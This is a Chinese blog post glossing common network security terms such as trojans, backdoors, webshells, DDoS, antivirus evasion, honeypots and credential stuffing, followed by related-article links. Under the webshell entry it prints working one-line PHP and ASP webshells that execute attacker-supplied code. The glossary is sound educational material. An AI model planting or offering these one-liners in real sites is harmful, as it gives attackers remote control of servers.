常见网络安全名词

太过爱你忘了你带给我的痛 2024-02-19 11:24 60阅读 0赞

## 常见网络安全名词 ##

##### 木马 #####

> 木马是指恶意代码伪装成正常的程序，当被运行时，会获取到整个系统的权限，比如往年的灰鸽子，蜜蜂大盗等，木马基本有四个特征：隐蔽性，欺骗性，顽固性和危害性。木马种类繁多。

##### 网页木马 #####

> 网页木马是指恶意网页伪装成正常的页面，如果受害者的系统或者浏览器存在漏洞，网页木马会利用漏洞自动下载执行到受害者电脑中。

##### 后门(backdoor) #####

> 后门是指攻击者在通过特定手段方式进入了系统后，通过写入或者上传特定程序或者修改某些配置进系统，从而获得更加长久的控制权，这种方式往往比较难被发现，相当于小偷进了你的房间，走的时候还配了一把钥匙，方便进出。

##### 网站后门(webshell) #####

> 网站后门又可以称为webshell，通过一段特定的代码或者在某些文件中添加代码植入到网站的服务器中，使用中国菜刀或者蚁剑，冰蝎等连接工具进行连接，和backdoor差不多，植入后门后，会获取到整个系统的权限。常见的网站后门用PHP和ASP，JSP写的，比如常见的一句话木马。

##### 一句话木马 #####

> 一句话木马是指通过一段代码就可以达到控制对方服务器权限的后门文件。

PHP:
    <?php @eval($_POST['vfree']);?>
    //vfree就是连接密码

复制

ASP:
    <%execute request("vfree")%>
    //vfree就是连接密码

复制

##### 肉鸡 #####

> 所谓肉鸡，就是那种被攻破的系统可以随意被攻击者使用而不被发现，被攻破的系统可以是Windows，Linux，unix等操作系统，当前最大ddos攻击基本上都是通过控制几十台甚至几百台肉鸡同时发起攻击。

##### 跳板 #####

> 跳板机常和肉鸡相辅相成使用，一般可以用跳板机去攻击入侵别人的主机。

##### DDOS #####

> DDOS指分布式拒绝服务攻击，DDOS是网络中最为常见且最难防御的一种攻击方式，通过几十台主机甚至几百台肉鸡主机同时对一个网站进行访问攻击，由于请求过多，严重时可以导致宕机，使得网站无法为正常访问的用户提供服务。当前的防御方式基本上都是"搞对抗"，使用一些高防，大带宽或者流量清洗设备来抵御，但是这种方式往往是治标不治本。

##### 内网 #####

> 内网就是局域网，比如校园网，公司内部网络等这些都属于局域网，常见的内网IPA段有192，172，10

内网网段保留IP：
    10.0.0.0—10.255.255.255
    172.16.0.0—172.31.255.255
    192.168.0.0—192.168.255.255

复制

##### 外网 #####

> 外网就是连接internet(互联网)，只有连接地了外网才能访问网站等，外网ip不会使用内网的保留ip段。

##### IP地址 #####

> ip地址可以在互联网中标识每一台主机，由四个点分10进制的数组成，每个点中的数值范围只能取0-255，比如8.8.8.8

##### 端口 #####

> 端口相当于数据出入地大门，端口范围：1-65535，部分端口是保留端口，有着自己对应的服务，比如开启网站服务，就会默认开启80端口。

##### 免杀 #####

> 免杀就是指通过技术手段对木马进行加壳，加密，修改特征码，添加花指令等方式，绕过杀毒软件的查杀。

##### 蜜罐 #####

> 蜜罐相当于模拟一个真实的环境，也可以是比真实环境更易受攻击，但是不会影响到正常的业务进行，后台人员可以通过蜜罐捕获的内容进行分析，查看真实环境中哪里易受攻击。

##### 脱库 #####

> 入侵了[数据库][Link 1]后，将整个数据库库下载下来，这种行为成为“拖库”，不是“脱裤子”嗷，不过也可以亲切成为“脱裤”。

##### 撞库 #####

> 通过已有的数据库，使用用户名密码去测试其他站点的登陆页面

##### ROOT #####

> unix系统中的最高权限用户，拥有着控制整个系统权限。

##### 权限 #####

> 权限大小决定当前用户对这个文件有什么操作权限，是否可删，可查，可写。

[Link 1]: https://cloud.tencent.com/solution/database?from=10680

发表评论取消回复

表情：

评论列表（有 0 条评论，60人围观）

还没有评论，来说两句吧...

相关阅读

相关网络术语名词详解

1.什么是voip? VoIP(Voice over Internet Protocol)是一种以IP电话为主，并推出相应的增值业务的技术。VoIP最大的优势是能广泛地采

末蓝、/ 2024年03月27日 09:58/ 0 赞/ 107 阅读

相关常见网络安全名词

常见网络安全名词木马 > 木马是指恶意代码伪装成正常的程序，当被运行时，会获取到整个系统的权限，比如往年的灰鸽子，蜜蜂大盗等，木马基本有四个特征：隐蔽性，欺骗性，

太过爱你忘了你带给我的痛/ 2024年02月19日 11:24/ 0 赞/ 61 阅读

相关常见网络安全名词

常见网络安全名词木马 > 木马是指恶意代码伪装成正常的程序，当被运行时，会获取到整个系统的权限，比如往年的灰鸽子，蜜蜂大盗等，木马基本有四个特征：隐蔽性，欺骗性，

迈不过友情╰/ 2023年09月26日 18:42/ 0 赞/ 66 阅读

相关计算机网络中常见的名词缩写

> Tips：推荐使用 `Ctrl + F` 搜索。 1 计算机网络概述 ISP 互联网服务提供者 ISP (Internet Service Provider)

系统管理员/ 2023年07月25日 08:53/ 0 赞/ 25 阅读

相关常见网络安全攻击分析

本文所述的常规性防御问题包括 XSS 攻击、 SQL 注入、CSRF 攻击、CRLF 注入，下面就逐一来分析这四种问题。跨站脚本攻击 XSS 跨站脚本攻击（Cross

Myth丶恋晨/ 2023年07月18日 02:58/ 0 赞/ 22 阅读

相关移动网络名词理解(2)--- 蜂窝网络

如下来自百度百科蜂窝网络把移动电话的服务区别分为一个个正六边形的子区，每个小区设一个基站。形成了形状酷似“蜂窝”的结构，因而把这种移动通信方式称为[蜂窝移动通信][Li

川长思鸟来/ 2022年06月11日 06:13/ 0 赞/ 324 阅读

相关笔记网络安全协议名词ssl.ssh

SSL(Secure Sockets Layer 安全套接层),及其继任者传输层安全（Transport Layer Security，TLS）是为网络通信提

淡淡的烟草味﹌/ 2022年06月03日 10:44/ 0 赞/ 228 阅读

相关山东大学-网络与信息安全-林丰波-名词解释

2019年1月9日20个词 1.Chroot chroot，即 change root directory (更改 root 目录)。在 linux 系统中，系统默认的目录

绝地灬酷狼/ 2022年03月28日 03:06/ 0 赞/ 1071 阅读

相关 IT常见系统名词

1、CRM 客户关系管理简称[CRM][]（Customer Relationship Management）。客户关系管理的定义是：企业为提高核心竞

超、凢脫俗/ 2022年01月18日 21:07/ 0 赞/ 262 阅读

相关 IT常见_项目管理_名词

1、UAT UAT，英文User Acceptance Test的简写，也就是用户验收测试，或用户可接受测试，系统开发生命周期方法论的一个阶段，这时相关的

拼搏现实的明天。/ 2022年01月07日 08:39/ 0 赞/ 819 阅读